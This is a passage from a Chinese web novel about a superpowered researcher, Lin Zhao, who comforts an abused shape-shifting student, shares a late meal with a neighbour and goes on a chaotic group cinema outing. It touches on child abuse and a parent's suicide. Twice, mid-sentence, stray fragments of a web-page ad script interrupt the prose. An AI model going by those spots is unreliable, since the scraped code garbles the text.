遥遥领先于磁暴射线时代,六岁时觉醒的变形能力。遍布头颈的陈伤刀痕,断过又断的肋骨。不知去向的父母和不相干的领养人……有了这些关键信息,再调查本地档案馆里的资料,很容易就能回溯到时间上游的起点。 罹患精神疾病的母亲,自小被关在家中不见天日的孩子。登上报纸的结局是母亲在家中自尽,孩子无知无觉,不知求救也不知报警,与尸体共住一室长达七日之久。 附近拾垃圾的老伯报警后,警方发现这孩子长期遭受生母虐待,肋骨多处裂伤,体表也有相当数量的淤痕和割裂伤。 整个事件太过离奇,坊间谣言纷纷,有不少人揣度是这个孩子不堪凌虐,愤起弑母求生。 尽管调查结果鉴定为自杀,也耐不住人们最喜欢的阴谋论甚嚣尘上。官方尽量压了舆论,但现今的网路上,仍可搜索到不少当时留下的言论。 ——那太可怕了吧…… ——他都不哭。不害怕吗。 ——竟然和死掉的人一起待那么久…… ——除非是…… ——嘘!看他,多可怜呀。 林昭叹了口气:“但……我又能知道什么呢?” “查阅过报道,检索过以前的档案。了解到了当时的调查结果,也知道了事件的整个经过。” “但不知道真相,不知道你的感受。在出不去的房间里和一具尸体单独待了七天,那一定是件很可怕的事。我能想象吗?我知道什么,又能理解什么呢?” “‘我们知道得越多,就越发懂得自己一无所知。’”他引用某位先哲的话语,轻声做了注解。 “我……”模糊杂错的混响渐轻,拧出一个逐渐成型的声音,“我没杀她。” 林昭点点头。没必要多说什么,黑暗剥夺了人的视力,但他知道对面的人能感觉到他。 “你救了她。”林昭阐述一个客观事实,“如果你不在,今天这里死的可能就不止一个人了。……虽说她算不上太合格的母亲,但……” “可到后来我也弄不清了。”桑士桢痛苦道,“我总在想,总也想不明白。她死以前到底发生了什么!!?为什么我什么都想不起来呢???” “我只记得她挂在那里……晃啊晃。眼睛张开……看着我,看着我。我想躲开她。但我走到哪,她的眼睛就跟着转到哪。” “她说,她说我是个怪物,我会下地狱的,我们都该下地狱……” “人的记忆并不可靠。”说话间,林昭已到了他身前,抓住他的手,将人往自己怀里一带,“每个人都会虚构记忆,为了让自己好过一点儿,这没什么奇怪的。” “我查过你所有资料了。”不成型的、烂棉花似的躯体,在林昭的双臂间被迫定型,“你的母亲是自杀的,她无法接受自己生下一个特别的孩子,最终精神崩溃,走到自尽这一步。你不信我吗?” 一团柔软的组织物垂落在林昭肩窝,低低地呜咽一声。骨头和血肉在为自己整理塑形,脊骨、肋骨、胸骨……肌肉,血管、皮肤。黏糊糊的胶质在林昭薄而凉的皮肤上爬过,像触碰着最重要的珍宝,叠覆过他的掌心。 “哎呀,成了。”数项关键数据均回落至安全区,林昭撒手放开桑士桢,笑起来,“没事的。不确定的形态不会持续太久,就像那枚月币,只要存在观测者……” 下一秒,一个灼烈的怀抱紧紧把他拥在怀里,连带着没说完的话,也被硬怼了回去。 桑士桢在他肩上亲昵地蹭了蹭,嘟囔道:“我的鼻子好像有点儿歪。” “捏回去点就行了。”林昭轻轻拍了拍他。 屏蔽管道通往一处遥远的安全房间,这里另有一个出口,可以让人不经过别墅区监控,自由往来宅邸和外界。在这个房间里,数台和“至上主义”同款的脑脊液置换机被发现,另有相当数量的违禁药物和违法采购证据,足够送高母和她的同伙坐几百年牢。 一整天生死惊魂,到最后,林昭简直搞不清楚自己是怎么回到家的。 停了车,他拖着步子,慢吞吞往单元楼走。 时近午夜,三楼,隔壁家的窗洞口。 仿佛要欢迎他似的,倏然亮起了一盏暖黄色的灯。 终于有人入住了么。希望新来的住客,不要对猫毛过敏……林昭漫无边际地想着,不觉加快脚步,抬脚迈上楼梯。 油脂混着新鲜时蔬和五香佐料,在开了大火的锅里爆出一股挠人的香气。上到三楼,一转弯,久未有人使用过的廊下露天灶台前,贺迟翻铲起锅,正在将新出炉烧着锅气的什锦炒饭装盘。 他刚下班也没多久,衬衣西裤,还是通勤的打扮。但林昭一打眼看到的,却是他小臂上佩着的粉色小熊格子袖套。 一点儿也不配。 但,还怪有趣的。 放下锅具,贺迟转眸,冲他笑笑。 “回来了?” 林昭挑了挑眉。意料之外,情理之中。他早该想到的,贺迟的作风一向如此,他总是在不寻常的时间,突然现身在各种各样可疑的地方。 可是仔细一想,这种古怪的登场方式,似乎又再合适他不过了。 时间不早,到了这会儿,林昭真觉得有点累了。 他失笑,“没想到……还真是你。” 42.再见了 “有时我都怀疑,你是不是暗中跟踪我了。”林昭半开玩笑,半认真地问,“该不会,其实你是重构系的空间能力者?还是说,这是海外开发的,某种我们还没掌握的新技术……” “吃过饭了吗?平时都这时下班的话,那太晚了。”贺迟随口反问他一句,抬手拉开吊柜,拿出一包压缩装干海带,泡水,又匀出一捧毛豆和两个新鲜鸡蛋,磕在玻璃料碗里,“你明知道我没有特殊能力,就别再假设那些不成立的前提猜想了。老实说,我也不是没考虑过——突然搬到鱼珠巷,还正好住在你隔壁。这看起来的确凑巧到可疑,也有可能,会让你感到不安……” 灶台上烧起另一炉火苗,经由过滤芯筛滤的清澈水体,在食材的反应下炖煮出奶绿的汤色。贺迟握着勺搅了搅蒸着白汽的汤锅,动作端正得像站在手术台前:“但,你们这里,非常好。第一次踏入你们这个小区,我就相中这里。” “嗯……我是说,很热闹。街坊们很有热情,无论几点,可能都有人在路边亭子里坐着,聊天,打牌,或者说些不相干的话。”贺迟抬眸看了眼廊外,午夜的鱼珠巷风和意暖,灯火静谧,声声虫鸣,“你知道在新英格兰,你绝不可能在十二点下手术后,独自穿街走巷回到公寓。说不定在哪个街边,就会突然蹿出个身负异能的开膛手,挥舞着餐刀把你剖开端上他的午夜餐桌……” 汤锅的香气分子弥散开来,牵走了林昭的注意力。贺迟后来说的什么,他没能听得太清楚。 心里知道这样好像不太礼貌…… 但这饭也太香了吧!? 不知道能不能分一口。 随餐交份子钱也行啊…… 大概是林昭注视灶台的目光太过炽烈,贺迟及时打住,若无其事转了话题:“……水可能,放得有点太多。” 林昭警觉抬眼:“???” 是那个意思吧,要他帮忙吃掉点儿的意思。 但直接这么提出来,万一对方真的只是在感叹水放太多,那不就显得他像一个只知吃饭的……这太不含蓄了。 林昭端出来一个反向战略性提案:“多煮一会儿,收了水,应该会更香吧。” 贺迟挑高半边眉梢,看了他一眼,眉宇间神色说不出的微妙。 多余的沉默在两人之间游走了一会儿。林昭转了转眼珠,让智能管家悄然开了房门。 屋内的感应灯随之亮起,紧接着亮起的是飞碟半夜晶晶亮一双小灯泡般的眼睛。林昭悄无声息地转进玄关,留着门,开冰箱,拎出来一大盒生鸡腿肉。 又返身出去,将鸡腿肉放在流理台上。 “猫饿了。”林昭理直气壮道,“能和你借个锅吗?” 飞碟喵喵两声,抡起爪子怒拍林昭一掌。 自己想吃就直接说! 为什么假传圣旨!猫不饿!!! 贺迟看着他,无奈转开视线,微微勾起了唇角。 他捻着塑料袋,将锅台上的塑料盒轻轻拖至自己面前:“和上次一样,两份?” 林昭有点不好意思了:“……八份。一份我的,七份给猫。” 变戏法似的,他刷一下从背后拿出两只饭盒:“大的猫用,我用小的。谢谢老板,我会付钱。” 蹭饭的人不仅找到了餐具,还从走廊尽头的废弃家具堆里找出来一张折叠小餐桌和两张塑料到不行的彩色圆凳。 擦干净了还挺像那么回事,很有露天大排档的氛围。林昭忙完了,飞碟倏一下蹦上桌,探颈吐舌,舔了舔桌面上摇头摆尾的两尾搪瓷红锦鲤。 “喂,那个不能吃。”林昭赶紧拎住猫颈子,往它眼皮子底下推过去一小碟刚出锅的碎鸡肉。 猫占住王座,人就只能捧着饭吃了。两人究竟不熟,因此很长时间里都没人说话。林昭心不在焉扒拉着五彩斑斓的青豆粒、火腿粒、牛肉粒和油润饱满的饭粒,一碗饭翻来翻去,越吃越慢。 “怎么了,”主厨重视自家菜肴的口碑,贺迟问他,“不合胃口?” 五月底花叶怒放,白日里暑气蒸腾,到午夜时分也仅余下一点儿削薄的凉意,餐肴放了逾一刻钟也不见冷的。不是走味的问题,那自然是有别的心事……林昭扭回头,表情一瞬茫然。 “就是觉得……”不留神吐出几个字,林昭摇头,突然收声反问道,“这段时间发生了什么,其实你也不需要问我吧。我还好奇呢,上次你为什么会及时出现在晟华教学楼顶稳住顾昐?” “我怎么能知道呢。”贺迟好似没听到他的后半句似的,直接避过了问题,“只是看你好像有些烦恼,觉得说出来也许会舒服一些。” 林昭淡声道:“说出来,也只是徒增烦恼而已。”一份不快复制自身变成两份,不仅解决不了问题,还变得更多了。这没什么好处。 贺迟弯起眉眼,一句话封住他:“可我想听。” “账单。”赶在林昭开口前,男人又说话了,“不是要付给我吗?” “七份猫饭。”他点点鲤鱼桌,“不接受赊账。” 林昭想了想,隐去具体姓名身份,将这段时间的经历含糊说了。 “差点搞砸了。”他轻声道,“差一点就出事了。现在想来,觉得自己的做法很有些问题……太过激进了。” “帮学生们出气的时候,可能或多或少都有过很痛快的心情。觉得那样做是理所当然的,觉得必须要干脆利落地拆穿骗局,让遭遇霸凌的受害者能够找回信心,站到新的地点,再次出发。” “但若是提前了解过加害者家里的情况,难免会觉得或许不做到那个地步,更柔和些处理会更好。” “并不是同情或者什么……” “是一副多米诺骨牌。当你自以为正确地推倒第一块以后,它们依次倒下,最终逼出了一个人心底最大的恶意。” 真的无法避免吗?非得走到这惊险无比的一步? 高曜做了许多可怕的事,但他的扭曲究竟也算事出有因。尤其是在看过高宅地底房间的样貌以后,这种淤堵的感觉进一步挥之不去。 若是不将他逼到那个程度,是不是就不至于走到刑事凶案的地步,是不是就还存在着别的可能? 至于桑士桢…… 即使能将功折过,豁免掉超管局的处罚,他的退学处分也已成定局。 非常公正的处理。林昭却觉得,这算不上真正的公平。 每个人出生时都站在不同高度的箱子上,他只是不太走运地站在泥泞里。 “我倒觉得,这是个很完美的结局。”贺迟听到最后,慢慢道,“没有无辜的人受到真正的伤害,该受到惩罚的人,都得到了应有的惩罚。” 他的语气冷漠,仿佛在宣读一张病危通知书,公正无情到令人发指,令人不禁联想起了埃及传说中,死后世界以 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 天平称量死者心脏和灵魂的冥神奥西里斯。 林昭对此不置可否。但他不能免俗,无法抗拒这样果决的判词。消沉的心情由此上扬了些。 “要是觉得有什么遗憾。”贺迟从他手中接过空掉大半的玻璃碗,“就再争取一下。” “一直以来,你都是那样做的吧。” 闻声,林昭眯起一双眼:“我们以前是不是见过面?” “这样的开场白,大部分时候都用在搭讪上。”贺迟利落地将碗碟归置进机器里,“但我想你感兴趣的不是这个。我换种方式回答你。” “Deja-vu。海马效应,还是超感记忆?——你相信哪一种?哪一种是你认为的科学?” 林昭笑了笑,没接他的话。 在超能力的世界,就没必要再谈什么科学不科学了。与其说705研究的是科学,不如说他们是摸索这新世界底层规律的冒险者,在未至的未来之中,寻找一套崭新的生存法则。 “晚安。”林昭抱起飞碟,直接回了房间。 尘埃落定,接下来几天,桑士桢每天早出晚归,定时到705那套三室一厅报道,履行他为科学献身的光荣承诺。 常年人口固定,彼此相看三厌的实验室来了新客人,所有人都相当地兴奋。桑士桢嘴甜人还勤快,瞬间和众人打成一片,反而显得时不时好为人师,要对师妹师弟进行指点的林昭不合群了。 “要不你来咱们这吧。”午休,车敏趴在桌前,一边有一搭没一搭地聊手机,一边给桑士桢支招,“那破学不上也罢,世上有哪个聪明人好好上学啊。” 另两个认真读书一路硕博的立刻不情愿地大声猛咳起来。林昭刚想说点不要带坏小孩之类的老生常谈,就听到桑士桢清了清嗓子,乖巧道:“不行的。我没有敏姐聪明,做不到像你们那么好。” “让咱师哥亲自带你。”车敏一挥手,“我掐指一算,经此一役,咱们可能很快就要有钱了。有钱了,师哥就不用再往外餐风露宿,可以回家啦……” 桑士桢抬头,一副无家可归请人认领的可怜小狗样:“师哥。” 林昭:“……” 什么乱七八糟的,这演技都跟哪学的!!? 谭之啪一下撂了杯子,嚷嚷道:“我加太多茶叶了!好浓啊今晚又要睡不着了。” 解洋连声附和:“是的,是的,我这都闻到了。 这天下午三点多,车敏推说家里有亲戚过来东璞要去机场接人,请假先落跑了。不久谭之也收了书包,说家里空调坏了约了人修,施施然走了人。最后来到解洋,他说在交友软件上新认识了男朋友约了晚餐,要提前准备准备给人留个好印象,不等林昭阻止,他也脚底抹油开溜了。 距离下班时间还有两个钟点,三室一厅里空落落的,只剩下了两个人。 还剩下几组测试,今天是做不成了。林昭看着空落落的门厅啼笑皆非,就听得身后一声门响,桑士桢从解洋的实验间里走了出来。 他一脸无辜:“怎么都走了?” 林昭不咸不淡瞥他:“或许,今天是什么说好的大日子吧。” “是哦。”桑士桢打牌似的,刷一下捻出两张电影票,果断道,“都没人了,那我们也走吧。” “看电影去。”他眨眨眼睛,气势十足的语尾终于还是流露出一丝不确定的迟疑,“……你会答应吧?” 43.绝望高中生 林昭的回答迟了两秒才到:“走吧。” 他有一瞬的犹豫,但很快就收敛起了这份迟疑。桑士桢吊了半天的心落下,稍松了口气。 他们搭公共巴士,晃荡了近一个钟头,到达江滩一号码头附近,一间历史悠久的老牌影院。 周五下午,人不算少。林昭看了看柜台前买爆米花的队伍,觉得别人有的他们也不能少,提议道:“我去排队。想喝什么?” 研究所待了几天,桑士桢察觉到林昭对外时那副永远从容不崩的态度,其实就是他在研究所时工作状态的外延。他习惯了给三位抽象后辈兜底捧哏,不自觉便拿出差不多的方式,对待桑士桢这个比自己小好几岁的正牌高中生。 “不知道,看看吧。”桑士桢不想依他的模式走,“一起去。” 然而到了付账,买下的仍是两杯毫无新意的冰可乐。 可乐普通,人却不常见。两个年轻男生搭伙看电影的组合本就罕有,还都生得端正俊朗,一个秀一个险,来回走动间,引来不少人扭着脖子行注目礼。 林昭向来不太在意别人怎么看,这会儿他也没留意路人凑趣眼神,反而在琢磨爆米花队尾里一道躲头露尾、刻意将自己遮在人群后头的身影。 中等个头,中分短发……叉着腿的狂妄站姿也很熟悉,怎么看都是车敏。 不是说去东璞机场?电影院是机场? 还换了条鼓涨到挤出人群的米白色公主裙…… 林昭看了看手里的爆米花桶,觉得车敏这副不伦不类的打扮,就很像一颗吸满了工业糖浆和精炼起酥油、腻歪到泯灭本性的爆玉米花。 队伍往前挪,爆玉米花悄悄一动,刻意避着林昭,又往人后藏了藏。 明知故躲是吧。林昭看不下去了,他将手里的桶递给桑士桢,径直走过去,劈手将人拎出了队伍。 车敏:“啊啊啊啊啊啊啊绑架啊!!!” 桑士桢:“……敏姐。” “你不是去机场接亲戚吗???”两个人的约会突然支棱出第三个人,桑士桢的绝望溢于言表,“怎么,怎么就到这儿来了……” “接什么亲戚啊。”林昭抱着臂,上下扫视公主裙白蠢裙尾,事不关己地说风凉话,“穿得这么隆重,这是要迎娶我们705没过门的乘龙快婿吧?” 他这个师妹脑子活泛做事麻利,就是多长了几个恋爱脑,平生唯爱往一些奇形怪状的歪脖子树上吊。 据林昭观察,车敏好像是把那些个男的当作猜想难题在攻关。挑战难度越高她越有斗志,死钻牛角尖,不拿下绝不死心…… 然而,当局者迷。她满以为自己情深意重,三个人合力使劲,也没法把人拉回岸上来。 车敏幽怨瞪一眼林昭,默默挪动小高跟,挪回排爆米花的队伍里。 林昭:“。”病入膏肓,没救了。 “世界上有那么多的……商场。”车敏神志涣散地吟诵经典爱情片《卡萨布兰卡》中的名台词,“商场中……有那么多的电影院。” “我已经处心积虑走得很远了!!!”她厉声控诉,“为什么这么巧!!!为什么还是能遇上你们啊啊啊啊!!!!” 不巧。 桑士桢也和她一个想法。 林昭审她:“你约谁看电影?还是上次那个?” 车敏垂头:“是、是的。” 林昭眯起眼睛:“电影票,你掏钱?” 车敏欲盖弥彰地转开视线。 林昭点她:“你只有两只手,就算买了双人份的爆米花和可乐,自己一个人也拿不下吧。” 车敏巴巴望他:“师哥……那你,还有你们……”你们不是有两个人吗!?腾出一只手帮个小忙嘛!!! “他就让你一个人拿?”林昭冷笑一声,图穷匕见了,“他人呢?在迟到,还是正在迟到的路上?” 车敏:“……” 服务生吆喝起来:“买不买啊——不买的,不要挡道——” 车敏:“你好你好,买的买的。我要C套餐,对,其中一个可乐帮我换成柠檬苏打汽水少冰多加一泵糖浆再加半分混合果汁,谢谢你啊,你真好。” 她掏付款码,被林昭一把按回去:“我来。” 爆米花一下受潮软趴了:“师哥……师哥你最好了,呜呜。” 几分钟后,三个人六只手拿着四杯饮料两桶爆米花,一脸死志杵在电影院门口,充当起了人形立牌。 “那傻X上次怎么说你的,这么快就忘了?”林昭恨铁不成钢,猛翻陈年旧账,从搞暧昧吊着人当备胎、骗吃骗喝骗学术一路历数过来,“……垃圾桶里没有能回收的男朋友,咱们就不能换个地方找???” 车敏没词儿反驳,直接捂上耳朵不听不听。家庭内部纠纷,桑士桢不敢插嘴。他乖乖靠边,一脸发现新大陆的表情,专注望定了林昭的侧脸。 号外号外,大惊喜。打死他他都想不到,林昭这张嘴,竟然还会骂人傻X呢。 没看过。好看爱看,看不够还想看。 ……又软又凶的,超可爱啊! 三个人就三个人吧。桑士桢想,三个人的约会,倒也不坏。 再多来一个变四个人,那就是双人约会了。双人约会是常规项目,可以,他都可以接受。 电光火石间,桑士桢以乐观态度,宽容了一切。 “……很明显,对方不喜欢你,甚至不怎么尊重你。”林昭冷酷地下结语,“恋爱脑不会有好下场,你放弃吧。” 桑士桢闻声微怔。 怎么的,感觉躺着挨了一梭子…… 车敏不服,她愤怒回击:“恋爱脑有什么问题???基因追求进化和繁衍,人类追寻爱情和死亡。恋爱脑是自然选择,恋爱脑天经地义!!!我年轻,正处在物色伴侣的季节,定时发射荷尔蒙信号怎么了怎么了?哼哼,师哥你啊……你逆天而行,必有后报。” 她突然调转火力:“懒得理你,你自己寡着去吧。我不孤独,这不还有个小桑陪我吗。” 林昭:“???” 桑士桢:“……!!!” 车敏见两人神情迥异,一下品出个中深意,禁不住嗤笑了一声:“师哥,你没发现吧。” “衬衣和领带都是新买的。为今天准备的?”她绕着桑士桢踱了半圈,在他另一边定住,“哟,这还有耳钉呢。骨刺形状,最近很流行啊。很衬你很帅噢!!!” “还喷了古龙水?”冷不丁地,她又嗅了嗅鼻子,“唔……好像在哪里闻过?” “洋哥的典藏款?”捏拳敲了下掌心,名侦探车敏突然顿悟,“也是为了今天吧?” 桑士桢窘得浑身发直。他觉得自己该表现得洒脱些,一口否认,或者开个玩笑混过去…… 但直接承认,好像也不错。 他轻飘飘看林昭一眼,垂落视线,轻而有力地点了下头。 车敏感慨回望他,慢慢叹了口长气。 新出炉的败犬,买一送一。 以盛装姿态笨拙赴约,却无人在意的二位,在这一刻惺惺相惜,来了个灵魂击掌。 三人支部,恋爱脑占据多数席位,尴尬的人就成了林昭。 一路上时不时闻到若有似无的香味……他没料到是古龙水,还以为是自己不小心,在哪沾到了芳香醛染剂。 骨刺状的耳钉像一段荆棘,穿刺过桑士桢单侧耳垂。林昭盯了它一会儿,不得不承认车敏的称赞,一语中的。 很帅,很衬他。意态慵懒,气势凌厉不羁,眼底又多夹缠着几丝说不清道不明的缱绻热意,情感层次过于丰富,勾得人忍不住想多探究他几眼。 难怪总有人往他们这儿探头探脑,林昭默默地想。原来是有人在狠狠开屏……开得是挺美,换他,说不定也得看两眼。 但若不是车敏横冲直撞往他脸上怼,他确实也注意不到耳钉或者古龙水这些细节。 人人骂渣男,人人逃不过做五分钟的渣男。痛骂车敏Crush的话,现在句句成了回旋镖,往林昭自己脑门上扎。 还好,四人约会缺失的最后一角这时突然冒头,以高度敌视的警惕眼神,反复打量车敏身旁这俩帅出碾压级威慑的男生:“敏敏,这两位是……” “几位……”他焦虑地比划一下,“认识吗?” 林昭冷冷瞥他。车敏很怕从林昭嘴里说出什么不该说的,赶紧哄着人跑了。 进了放映厅,两人找到位置坐好。桑士桢懒洋洋倚着座椅,任身体往下滑落一截,口吻不无羡慕:“……感情真好啊。不知道的,还以为你们研究所几个是一家人呢。” 林昭果断反驳:“我没那么蠢的妹妹。” “而且吧,”他单手撑腮,转眸望着桑士桢道,“其实她年纪比我还大。大个两岁那么多……按照师门辈分算,我是她师哥;但年纪上来说……” “说谁年纪大呢!?”头顶一冰,车敏将一听可乐搁在林昭蓬软的发旋上,“怎么还和你们买到前后排啊!!!真的是……我真的要疯了……” 无论如何,来都来了。电影院灭了灯,四个人正襟危坐,黑灯瞎火间,竟有了种战壕里熬天光的氛围。 Crush不敢动,他很怕多挪一下,就被身后那对英俊男同隔着椅子暗示性地踹一脚屁股。车敏也不敢动,她这会儿坐得比上课都直,连勾勾手指的念头都不敢有,生怕回去被林昭按头加班多读一卡车外文文献。 桑士桢倒是很想做点什么,可事到临头,他又有点儿退缩。林昭训人傻X的样子还挺劲,但假设他用那俩字来骂自己……桑士桢瑟缩一下,不敢再想下去了。 林昭……除了偶尔踢一脚前方的椅背,林昭也不敢有更多动作。 桑士桢的坐姿过于张牙舞爪;这是其一。5D电影的体感效果做得太过立体,这是其二。 明明就是看个电影,整得和进了游乐场似的。座椅一会儿颠簸,一会儿跟着情节左右乱甩。可以想象,一旦放松警惕不绷着点,双人连座上的两个人,立马就得肩对肩,腕碰腕,以不连续多段线的方式贴一起去了。 那样不行,那太暧昧了。 他必须得端正自身,把持住。 四个人心怀鬼胎,电影讲了什么,他们是半点儿没看进去。片尾激光大战时,车敏突然“啊”地惊叫一声,随即弯身下去捡什么东西。 赶上座椅转轴一个大转弯,她不偏不倚,和身旁的男生头碰头撞在了一处。 这看着像接吻???不太妙。林昭一惊,却有人比他先手一步——半桶爆米花凭空飞起,往后一撒,亮晶晶甜蜜蜜,全数倒扣在倒霉的Crush头上。 男生杀猪一般地嚎叫起来。接着是车敏的怒吼:“之宝!?!?!洋哥!!!??你们俩为什么——” ……喧哗影院,通通扫地出门。 林昭和桑士桢是陪跑的,但是养不教家长之过,705齐聚一堂,他肯定得在场。 挨完影院经理的训,几个人互相指责: “你不是去接亲戚?” “你家空调根本没坏,骗子,大骗子。” “都别吵了,我们都可以解释的……” “洋哥你也真是的,不是去和新男友吃晚餐?”车敏尖利道,“终于想开了内部消化啦?恭喜二位!” 谭之将解洋往自己身边一拉:“洋哥发现对方是个网骗,心里很 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 受伤,我来陪他散散心不行吗?谁知道会遇到你们啊!要知道师哥也在,我才不来打扰他呢!” “那你也不能往别人头上甩爆米花啊!”车敏尖叫,“我看你就是要搞砸我每一段恋爱!谭之我今天必须得问清楚了,你是不是暗恋我,你他妈,是不是暗恋我!!!你好好跪下给我告个白,姐姐我也不是不能给你这个机会——” “你少自作多情,我暗恋他都不会暗恋你。”谭之白净的面皮上泛起一抹红意,手上却不饶人地一指躲在车敏后头的男生,“对,就是你。啾。” 所有人:“……” 被瞄准的男生不敢和任何人对视,只敢扒着车敏求救:“他、他们都是……那个???” “你、你们研究所……”他大汗淋漓,“这稍微有点……哈,哈哈,好开放啊。” “——稍微有点?有点什么?”车敏捕捉到关键词,脸色忽然一变,回头,削了她娇娇软软的Crush一眼,“你敢说清楚点吗?” 解洋不知何时出去转了一圈,这会儿又逛回来,递给林昭和桑士桢一人一条巧克力:“看起来这还得打一会儿。都歇着点,慢慢看。” 林昭看看桑士桢。桑士桢捏着巧克力,和他手里的轻碰了碰。 “晚上没安排的话,一起去吃饭吧。”见桑士桢点了点头,林昭又望向正挨着车敏的训,四处张望求饶的Crush,“没你的份。赶紧滚。” 六个人的约会实在太过拥挤。男生听闻林昭发号施令,如蒙大赦,掉头跑了。 余下五个人热热闹闹搓了顿烤肉,跟着又闹着要续摊,转去了附近的KTV。林昭被三个人吵得头痛莫名,百无聊赖坐在角落里叉果盘。 回神一看,桑士桢已从包房里消失不见了。 林昭叹了口气。 想到了应约来看这场电影,可能会很尴尬,但没想到二生四四生六……竟然能鸡飞狗跳到这个地步。林昭咬掉嘴里嘎嘣作响的哈密瓜,想了想,推出门去,下到一楼大堂去找人。 桑士桢靠在落地玻璃外头倚着,嘴里叼了根棍儿。 远看着像根没点火的女式细烟,走近一看,原来是橘子味儿的真知棒。 他瞥见林昭走出来,变戏法似地一捻:“来一根?” 林昭接过,慢吞吞将糖纸剥开。橘子色的球形糖块映在闪烁的霓虹灯下,半透着光,像一颗红彤彤的太阳的心脏。 他张口,把糖果整个儿含入口中。 流水线产出的,不掺一丝杂质纯粹的甜。混着橘子香精,碾过舌尖,一下压过了哈密瓜清新天然的余韵。 桑士桢早把糖全吞了,他叼着根咬出凹痕的小白塑料棍儿,焦躁地踢了踢地砖,蹙着眉道:“我……” “不要说。”林昭闻声一紧,抬手捂住了他。 微凉手指覆上少年残留着糖和蜜的唇角,低温和糖分融在一处,注入呼吸间轻缓逸出的二氧化碳,兑成一瓶记忆中夏天老冰箱里取出的橙子汽水,让桑士桢生出了想舔舐一口的冲动。 他微弱地动了动唇。 ——你还,不知道,我要说什么呢。 灼热的温度在林昭的指间翕动着,并非出自有意,却似一个无声惊颤的吻。林昭不领他的情,他摇摇头,手上用力,将桑士桢死死按住。 “不管是什么,都不要再说了。”他眨了下眼,漆黑的眉睫垂落,下意识遮住眼底愧疚,却偏偏还是要厉色警告他,“今天真是一团糟……下次,换我请你吧。” 桑士桢默了会儿,不动,也不说话了。 林昭松开手指,他仍是沉默。 本来,是有很多话想说的。他想说为了这次“约会”,其实他做了很多准备。但怕惊吓到林昭,所以最后只是选了像朋友相处那样的做法。若无其事地提出,随意散漫地进行,这样就行,能像705的几个后辈那样自然地和他相处,也就可以了。 他没想到,就连这么点可能性,林昭都要将它剪除干净。 桑士桢有点悲伤地望着他。有时候,他觉得林昭很像一把冰做的刀子。他就那样冷森森剜开他流脓的伤口,直接插进心脏深处……然后,化了消失了,什么都不留下。 可是,说这些都没意义。即使非要讲出来,也只会沦为不成熟的撒娇,好像他就只能靠卖惨乞求点垂怜似的。 于是桑士桢往身后玻璃墙上一靠,笑了笑:“好无情啊……” “我受伤了。”他以一种漫不经心的口吻说。 林昭点点头,平静回他:“对不起。” 柠檬黄或是日落红……糖在林昭手里握着,可他的唇瓣内侧还沾染着数许落霞般的颜色。廉价且大量的人工色素,为何落在某个人的身上,就能发生剧烈的化学反应,显出无比的暧昧旖旎呢? 他又是怎样做到讲出那样生疏的话,连一点犹豫和转圜的余地都不留,连眉尖都不舍得动一下。 桑士桢别扭转开一点,拿半个后脑勺对着林昭,竖起三根手指。 “你快走吧。”他用力眨了眨眼,咬着牙道,“给你三秒钟时间……” “三,二。二点九,二点八……” 林昭凝眸望着他,温声道:“早点回家。” “……一,零。” 林昭转身走进大堂,按开电梯上楼回去。人去楼空,哪儿都空荡荡的,桑士桢也没兴致再数了。 他弓着身子滑落下去,坐在大理石台阶上,思绪幽幽地飘远了。 究竟要变成什么样子,才能让你多看一眼呢? 一粒新的橘子糖撕开,心不在焉贴上他的唇。 “要是能把你装在兜里……带走。 “就好了。” 44.和希望的新开始 六月是离别的季节。调查组撤出晟华,带走了挪用校款的老校长,也请退了玩忽职守的书记。教务组撑住了校内的日常运转,高曜的座位长久地空了出来,尤侃消失了好几天,回来时变了个人似的,问什么都三缄其口。 接着送走的是高考和毕业生。再来,就到了新高三学生的启航大会。 “还以为你不来了。”教导主任拎着个塑料花壶,笑眯眯给办公室窗台上的绿植挨个浇水,“小林老师今天怎么有空?” 林昭环顾办公室四周。明明只待了一个月,却总觉得过了很久……他拉开门边置物柜,里头空荡荡的:“这办公室就放着不用了吗?采光挺好的,空置着多可惜。” “用啊,怎么不用。”教导主任放下花壶走近,道,“我们准备改一下内部的装修,周围弄一圈沙发……”她比划一下:“这里再放几个隔断,搁几张床。” 林昭:“?”啊??? “打算采用预约制,先试运行一段时间,”教导主任思忖道,“学生累了困了,都可以来这睡会儿,不算翘课。” 林昭轻笑:“就这样?” “就这样。”教导主任耸了耸肩,轻松道,“听着好像挺没用是吧……但谁规定做一件事做一个人,就非得有用才行呢?” “你看那窗外那树,它就是长在那儿而已。木材有用,遮阴有用,毛毛虫掉下来惹人嫌……那都是人强加给它的。它自己挺开心的,管它干嘛啊。” 旗下讲话十点开始,林昭和认识的几位老师打过招呼,时间差不多了,就往礼堂去。 新高三学生代表发言,原本铁钉属于高曜的位置,如今走到那里的是顶着一头新发型的单荔。 她最近爱上捣鼓自己的头发,据说已无痛无成本COS了好几个以反重力发型闻名的动漫角色。当然到了主席台,她仍旧变回那个知分寸,懂进退,绝不出错的好学生。 “……面对即将到来的第三年,有人将它视作起跑线,有人将它看作试炼场。有人害怕它,有人期待它,但我想,它和过去的每一天一样,都是一段旅程的崭新起点。” 等到七月小暑,单荔就将收拾行装,动身前往国际游学夏令营,展开为期一年的交换活动。 顾昐被判了个缓刑,没落到立刻被退学的地步;但重大记过处分仍是免不了的。此外,留校查看期间,他必须配合社区,完成三百小时社工工作。大家都觉得这是个不错的安排,他要减肥,做些体力活对他很有好处。 王觊正为下半年的全国赛做准备。他想报考顶级学府的体特生,但文化课上仍需抓紧努力。 于见霜更愿意留在本地,她觉得就保持现在这样也不错……但氛围如此,她不知不觉也稍微紧张起来了。 每个人都有美好的未来……林昭坐在礼堂的山顶上,目光掠过,在成山成海的后脑壳里找桑士桢的身影。 关于桑士桢的退学处分,林昭和校方及调查组再三沟通,得到的结论,仍是没办法、不能改变决定。 “行为影响特别恶劣。”教导主任直言不讳,“不可能开这个先例。补给他奖学金,为校方的过错道歉,是我们应做的;同样的,他也要为自己的选择负责。” “但……”声色俱厉一顿批完,教导主任转了口风,“至少过了这个学期,再走吧。” 按照班级座位顺序检索,再找后几排的高个儿,林昭很快认出了桑士桢那个到处乱翘,还拖着毛刺狼尾的不羁发型。 还好,他看起来状态正常。能和旁边同学说说笑笑,应该是没受到太大的影响。 这样就好,林昭想。 但不知怎么,盯了会儿那个时不时转来转去,一刻也难消停的后脑壳,林昭心里起了种莫名难解的情绪。 